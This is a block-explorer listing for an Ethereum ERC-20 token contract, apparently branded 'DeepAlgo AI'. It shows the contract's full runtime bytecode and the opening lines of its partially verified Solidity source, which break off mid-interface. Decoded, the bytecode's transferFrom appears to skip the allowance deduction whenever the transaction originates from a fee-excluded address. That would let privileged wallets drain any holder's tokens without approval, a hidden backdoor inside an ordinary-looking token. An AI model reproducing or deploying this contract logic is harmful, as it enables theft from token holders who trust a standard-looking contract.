Address Contract Partially Verified
Address
0x9ae5a1eb58F50D235A8D06D34E15fAa886Eb29A1
Balance
0 ETH
Nonce
1
Code Size
15295 bytes
Creator
0x0B90A187...Eb9c at tx 0x78684496...a5f759
Indexed Transactions
0
Contract Bytecode
15295 bytes
0x60806040526004361061021d575f3560e01c80638366e79a11610122578063bbc0c742116100aa578063e71dc3f51161006e578063e71dc3f514610806578063f11a24d314610830578063f2fde38b1461085a578063f637434214610882578063f8b45b05146108ac57610224565b8063bbc0c74214610722578063c8c8ebe41461074c578063d85ba06314610776578063dd62ed3e146107a0578063e2f45605146107dc57610224565b806395d89b41116100f157806395d89b411461061a578063a457c2d714610644578063a9059cbb14610680578063adb873bd146106bc578063b62496f5146106e657610224565b80638366e79a146105745780638a8c523c146105b05780638da5cb5b146105c657806392136913146105f057610224565b806339509351116101a55780636a486a8e116101745780636a486a8e146104a45780636ddd1713146104ce57806370a08231146104f8578063715018a6146105345780637bce5a041461054a57610224565b806339509351146103d857806349bd5a5e146104145780634fbee1931461043e57806357a956f61461047a57610224565b806318160ddd116101ec57806318160ddd146102f45780631a8145bb1461031e5780631f3fed8f1461034857806323b872dd14610372578063313ce567146103ae57610224565b806306fdde0314610228578063095ea7b31461025257806310d5de531461028e5780631694505e146102ca57610224565b3661022457005b5f5ffd5b348015610233575f5ffd5b5061023c6108d6565b6040516102499190612c7c565b60405180910390f35b34801561025d575f5ffd5b5061027860048036038101906102739190612d2d565b610966565b6040516102859190612d85565b60405180910390f35b348015610299575f5ffd5b506102b460048036038101906102af9190612d9e565b610983565b6040516102c19190612d85565b60405180910390f35b3480156102d5575f5ffd5b506102de6109a0565b6040516102eb9190612e24565b60405180910390f35b3480156102ff575f5ffd5b506103086109c4565b6040516103159190612e4c565b60405180910390f35b348015610329575f5ffd5b506103326109cd565b60405161033f9190612e4c565b60405180910390f35b348015610353575f5ffd5b5061035c6109d3565b6040516103699190612e4c565b60405180910390f35b34801561037d575f5ffd5b5061039860048036038101906103939190612e65565b6109d9565b6040516103a59190612d85565b60405180910390f35b3480156103b9575f5ffd5b506103c2610ac7565b6040516103cf9190612ed0565b60405180910390f35b3480156103e3575f5ffd5b506103fe60048036038101906103f99190612d2d565b610acf565b60405161040b9190612d85565b60405180910390f35b34801561041f575f5ffd5b50610428610b7d565b6040516104359190612ef8565b60405180910390f35b348015610449575f5ffd5b50610464600480360381019061045f9190612d9e565b610ba1565b6040516104719190612d85565b60405180910390f35b348015610485575f5ffd5b5061048e610bf3565b60405161049b9190612ef8565b60405180910390f35b3480156104af575f5ffd5b506104b8610c18565b6040516104c59190612e4c565b60405180910390f35b3480156104d9575f5ffd5b506104e2610c1e565b6040516104ef9190612d85565b60405180910390f35b348015610503575f5ffd5b5061051e60048036038101906105199190612d9e565b610c31565b60405161052b9190612e4c565b60405180910390f35b34801561053f575f5ffd5b50610548610c76565b005b348015610555575f5ffd5b5061055e610dc9565b60405161056b9190612e4c565b60405180910390f35b34801561057f575f5ffd5b5061059a60048036038101906105959190612f11565b610dcf565b6040516105a79190612d85565b60405180910390f35b3480156105bb575f5ffd5b506105c461100c565b005b3480156105d1575f5ffd5b506105da6110f2565b6040516105e79190612ef8565b60405180910390f35b3480156105fb575f5ffd5b5061060461111a565b6040516106119190612e4c565b60405180910390f35b348015610625575f5ffd5b5061062e611120565b60405161063b9190612c7c565b60405180910390f35b34801561064f575f5ffd5b5061066a60048036038101906106659190612d2d565b6111b0565b6040516106779190612d85565b60405180910390f35b34801561068b575f5ffd5b506106a660048036038101906106a19190612d2d565b611278565b6040516106b39190612d85565b60405180910390f35b3480156106c7575f5ffd5b506106d0611295565b6040516106dd9190612e4c565b60405180910390f35b3480156106f1575f5ffd5b5061070c60048036038101906107079190612d9e565b61129b565b6040516107199190612d85565b60405180910390f35b34801561072d575f5ffd5b506107366112b8565b6040516107439190612d85565b60405180910390f35b348015610757575f5ffd5b506107606112ca565b60405161076d9190612e4c565b60405180910390f35b348015610781575f5ffd5b5061078a6112d0565b6040516107979190612e4c565b60405180910390f35b3480156107ab575f5ffd5b506107c660048036038101906107c19190612f11565b6112d6565b6040516107d39190612e4c565b60405180910390f35b3480156107e7575f5ffd5b506107f0611358565b6040516107fd9190612e4c565b60405180910390f35b348015610811575f5ffd5b5061081a61135e565b6040516108279190612e4c565b60405180910390f35b34801561083b575f5ffd5b50610844611364565b6040516108519190612e4c565b60405180910390f35b348015610865575f5ffd5b50610880600480360381019061087b9190612d9e565b61136a565b005b34801561088d575f5ffd5b5061089661152c565b6040516108a39190612e4c565b60405180910390f35b3480156108b7575f5ffd5b506108c0611532565b6040516108cd9190612e4c565b60405180910390f35b6060600380546108e590612f7c565b80601f016020809104026020016040519081016040528092919081815260200182805461091190612f7c565b801561095c5780601f106109335761010080835404028352916020019161095c565b820191905f5260205f20905b81548152906001019060200180831161093f57829003601f168201915b5050505050905090565b5f610979610972611538565b848461153f565b6001905092915050565b6018602052805f5260405f205f915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b60145481565b60135481565b5f6109e5848484611702565b5f6109f1858585612183565b9050610abb856109ff611538565b610ab68487610a0e9190612fd9565b604051806060016040528060288152602001613b3d6028913960015f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a6d611538565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225e9092919063ffffffff16565b61153f565b60019150509392505050565b5f6009905090565b5f610b73610adb611538565b84610b6e8560015f610aeb611538565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122c090919063ffffffff16565b61153f565b6001905092915050565b7f00000000000000000000000080cb0b4d858bf7ea2a3d826c08bbf46ffbc3f22c81565b5f60175f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b600a60019054906101000a900460ff1681565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c7e611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390613056565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c5481565b5f610dd8611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d90613056565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb906130be565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f0e9190612ef8565b602060405180830381865afa158015610f29573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4d91906130f0565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610f8a92919061311b565b6020604051808303815f875af1158015610fa6573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fca919061316c565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e4388482604051610ffd92919061311b565b60405180910390a15092915050565b611014611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990613056565b60405180910390fd5b6110b46110ae30610c31565b4761231d565b6001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff02191690831515021790555043601681905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606004805461112f90612f7c565b80601f016020809104026020016040519081016040528092919081815260200182805461115b90612f7c565b80156111a65780601f1061117d576101008083540402835291602001916111a6565b820191905f5260205f20905b81548152906001019060200180831161118957829003601f168201915b5050505050905090565b5f61126e6111bc611538565b8461126985604051806060016040528060258152602001613b656025913960015f6111e5611538565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225e9092919063ffffffff16565b61153f565b6001905092915050565b5f61128b611284611538565b8484611702565b6001905092915050565b60125481565b6019602052805f5260405f205f915054906101000a900460ff1681565b600a5f9054906101000a900460ff1681565b60075481565b600b5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085481565b600e5481565b600d5481565b611372611538565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f790613056565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590613207565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a490613295565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361161b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161290613323565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f59190612e4c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611767906133b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061343f565b60405180910390fd5b5f81036117f5576117f083835f6123f6565b61217e565b6117fd6110f2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561186b575061183b6110f2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a357505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118dd575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118f65750600560149054906101000a900460ff16155b15611cc357600a5f9054906101000a900460ff166119e95760175f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806119a9575060175f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119df906134a7565b60405180910390fd5b5b60195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611a86575060185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b2d57600754811115611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac790613535565b60405180910390fd5b600954611adc83610c31565b82611ae79190613553565b1115611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f906135d0565b60405180910390fd5b611cc2565b60195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611bca575060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c1957600754811115611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b9061365e565b60405180910390fd5b611cc1565b60185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611cc057600954611c7383610c31565b82611c7e9190613553565b1115611cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb6906135d0565b60405180910390fd5b5b5b5b5b5f611ccd30610c31565b90505f60085482101590505f818015611cf25750600a60019054906101000a900460ff165b8015611d0b5750600560149054906101000a900460ff16155b8015611d5e575060195f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611db1575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e04575060175f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e47576001600560146101000a81548160ff021916908315150217905550611e2c612674565b5f600560146101000a81548160ff0219169083151502179055505b5f600560149054906101000a900460ff1615905060175f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611ef6575060175f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611eff575f90505b5f5f9050811561216d5760195f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f6057505f600f54115b1561202057611f8d6064611f7f600f548961286f90919063ffffffff16565b6128e690919063ffffffff16565b9050600f5460115482611fa0919061367c565b611faa91906136ea565b60145f828254611fba9190613553565b92505081905550600f5460105482611fd2919061367c565b611fdc91906136ea565b60135f828254611fec9190613553565b92505081905550600f5460125482612004919061367c565b61200e91906136ea565b836120199190613553565b9250612134565b60195f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561207757505f600b54115b15612133576120a46064612096600b548961286f90919063ffffffff16565b6128e690919063ffffffff16565b9050600b54600d54826120b7919061367c565b6120c191906136ea565b60145f8282546120d19190613553565b92505081905550600b54600c54826120e9919061367c565b6120f391906136ea565b60135f8282546121039190613553565b92505081905550600b54600e548261211b919061367c565b61212591906136ea565b836121309190613553565b92505b5b5f811115612148576121478830836123f6565b5b5f83111561215e5761215d3061dead856123f6565b5b808661216a9190612fd9565b95505b6121788888886123f6565b50505050505b505050565b5f5f6015819055505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121f357505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612245575060175f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561225257816015819055505b60155490509392505050565b5f8383111582906122a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229c9190612c7c565b60405180910390fd5b505f83856122b39190612fd9565b9050809150509392505050565b5f5f82846122ce9190613553565b905083811015612313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230a90613764565b60405180910390fd5b8091505092915050565b612348307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461153f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61dead426040518863ffffffff1660e01b81526004016123ae969594939291906137bb565b60606040518083038185885af11580156123ca573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906123ef919061381a565b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245b906133b1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c99061343f565b60405180910390fd5b61253b81604051806060016040528060268152602001613b17602691395f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225e9092919063ffffffff16565b5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125ca815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122c090919063ffffffff16565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126679190612e4c565b60405180910390a3505050565b5f61267e30610c31565b90505f6013546014546126919190613553565b90505f5f8314806126a157505f82145b156126ae5750505061286d565b60146008546126bd919061367c565b8311156126d65760146008546126d3919061367c565b92505b5f600283601454866126e8919061367c565b6126f291906136ea565b6126fc91906136ea565b90505f612712828661292f90919063ffffffff16565b90505f47905061272182612978565b5f612735824761292f90919063ffffffff16565b90505f61275f876127516013548561286f90919063ffffffff16565b6128e690919063ffffffff16565b90505f818361276e9190612fd9565b90505f6014819055505f6013819055505f8611801561278c57505f81115b156127d95761279b868261231d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826014546040516127d09392919061386a565b60405180910390a15b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161281e906138cc565b5f6040518083038185875af1925050503d805f8114612858576040519150601f19603f3d011682016040523d82523d5f602084013e61285d565b606091505b5050809750505050505050505050505b565b5f5f830361287f575f90506128e0565b5f828461288c919061367c565b905082848261289b91906136ea565b146128db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d290613950565b60405180910390fd5b809150505b92915050565b5f61292783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bab565b905092915050565b5f61297083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061225e565b905092915050565b5f600267ffffffffffffffff8111156129945761299361396e565b5b6040519080825280602002602001820160405280156129c25781602001602082028036833780820191505090505b50905030815f815181106129d9576129d861399b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a7c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612aa091906139dc565b81600181518110612ab457612ab361399b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b19307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461153f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612b7a959493929190613abe565b5f604051808303815f87803b158015612b91575f5ffd5b505af1158015612ba3573d5f5f3e3d5ffd5b505050505050565b5f5f83118290612bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be89190612c7c565b60405180910390fd5b505f8385612bff91906136ea565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612c4e82612c0c565b612c588185612c16565b9350612c68818560208601612c26565b612c7181612c34565b840191505092915050565b5f6020820190508181035f830152612c948184612c44565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612cc982612ca0565b9050919050565b612cd981612cbf565b8114612ce3575f5ffd5b50565b5f81359050612cf481612cd0565b92915050565b5f819050919050565b612d0c81612cfa565b8114612d16575f5ffd5b50565b5f81359050612d2781612d03565b92915050565b5f5f60408385031215612d4357612d42612c9c565b5b5f612d5085828601612ce6565b9250506020612d6185828601612d19565b9150509250929050565b5f8115159050919050565b612d7f81612d6b565b82525050565b5f602082019050612d985f830184612d76565b92915050565b5f60208284031215612db357612db2612c9c565b5b5f612dc084828501612ce6565b91505092915050565b5f819050919050565b5f612dec612de7612de284612ca0565b612dc9565b612ca0565b9050919050565b5f612dfd82612dd2565b9050919050565b5f612e0e82612df3565b9050919050565b612e1e81612e04565b82525050565b5f602082019050612e375f830184612e15565b92915050565b612e4681612cfa565b82525050565b5f602082019050612e5f5f830184612e3d565b92915050565b5f5f5f60608486031215612e7c57612e7b612c9c565b5b5f612e8986828701612ce6565b9350506020612e9a86828701612ce6565b9250506040612eab86828701612d19565b9150509250925092565b5f60ff82169050919050565b612eca81612eb5565b82525050565b5f602082019050612ee35f830184612ec1565b92915050565b612ef281612cbf565b82525050565b5f602082019050612f0b5f830184612ee9565b92915050565b5f5f60408385031215612f2757612f26612c9c565b5b5f612f3485828601612ce6565b9250506020612f4585828601612ce6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612f9357607f821691505b602082108103612fa657612fa5612f4f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612fe382612cfa565b9150612fee83612cfa565b925082820390508181111561300657613005612fac565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613040602083612c16565b915061304b8261300c565b602082019050919050565b5f6020820190508181035f83015261306d81613034565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e73000000005f82015250565b5f6130a8601c83612c16565b91506130b382613074565b602082019050919050565b5f6020820190508181035f8301526130d58161309c565b9050919050565b5f815190506130ea81612d03565b92915050565b5f6020828403121561310557613104612c9c565b5b5f613112848285016130dc565b91505092915050565b5f60408201905061312e5f830185612ee9565b61313b6020830184612e3d565b9392505050565b61314b81612d6b565b8114613155575f5ffd5b50565b5f8151905061316681613142565b92915050565b5f6020828403121561318157613180612c9c565b5b5f61318e84828501613158565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6131f1602683612c16565b91506131fc82613197565b604082019050919050565b5f6020820190508181035f83015261321e816131e5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61327f602483612c16565b915061328a82613225565b604082019050919050565b5f6020820190508181035f8301526132ac81613273565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61330d602283612c16565b9150613318826132b3565b604082019050919050565b5f6020820190508181035f83015261333a81613301565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61339b602583612c16565b91506133a682613341565b604082019050919050565b5f6020820190508181035f8301526133c88161338f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613429602383612c16565b9150613434826133cf565b604082019050919050565b5f6020820190508181035f8301526134568161341d565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613491601683612c16565b915061349c8261345d565b602082019050919050565b5f6020820190508181035f8301526134be81613485565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f61351f603583612c16565b915061352a826134c5565b604082019050919050565b5f6020820190508181035f83015261354c81613513565b9050919050565b5f61355d82612cfa565b915061356883612cfa565b92508282019050808211156135805761357f612fac565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f6135ba601383612c16565b91506135c582613586565b602082019050919050565b5f6020820190508181035f8301526135e7816135ae565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613648603683612c16565b9150613653826135ee565b604082019050919050565b5f6020820190508181035f8301526136758161363c565b9050919050565b5f61368682612cfa565b915061369183612cfa565b925082820261369f81612cfa565b915082820484148315176136b6576136b5612fac565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6136f482612cfa565b91506136ff83612cfa565b92508261370f5761370e6136bd565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61374e601b83612c16565b91506137598261371a565b602082019050919050565b5f6020820190508181035f83015261377b81613742565b9050919050565b5f819050919050565b5f6137a56137a061379b84613782565b612dc9565b612cfa565b9050919050565b6137b58161378b565b82525050565b5f60c0820190506137ce5f830189612ee9565b6137db6020830188612e3d565b6137e860408301876137ac565b6137f560608301866137ac565b6138026080830185612ee9565b61380f60a0830184612e3d565b979650505050505050565b5f5f5f6060848603121561383157613830612c9c565b5b5f61383e868287016130dc565b935050602061384f868287016130dc565b9250506040613860868287016130dc565b9150509250925092565b5f60608201905061387d5f830186612e3d565b61388a6020830185612e3d565b6138976040830184612e3d565b949350505050565b5f81905092915050565b50565b5f6138b75f8361389f565b91506138c2826138a9565b5f82019050919050565b5f6138d6826138ac565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61393a602183612c16565b9150613945826138e0565b604082019050919050565b5f6020820190508181035f8301526139678161392e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506139d681612cd0565b92915050565b5f602082840312156139f1576139f0612c9c565b5b5f6139fe848285016139c8565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613a3981612cbf565b82525050565b5f613a4a8383613a30565b60208301905092915050565b5f602082019050919050565b5f613a6c82613a07565b613a768185613a11565b9350613a8183613a21565b805f5b83811015613ab1578151613a988882613a3f565b9750613aa383613a56565b925050600181019050613a84565b5085935050505092915050565b5f60a082019050613ad15f830188612e3d565b613ade60208301876137ac565b8181036040830152613af08186613a62565b9050613aff6060830185612ee9565b613b0c6080830184612e3d565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220943cd49d94755e035926d6db98c062648d28f68bc674f7f979e3ac34382d7d0464736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
Token.sol 1189 lines
// SPDX-License-Identifier: Unlicensed
/**
LinkTree: https://linktr.ee/deepalgo_ai
Website: https://www.deepalgo-ai.pro/
App: https://app.deepalgo-ai.pro/
X: https://x.com/DeepAlgo_AI
Telegram: https://t.me/DeepAlgoAI
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
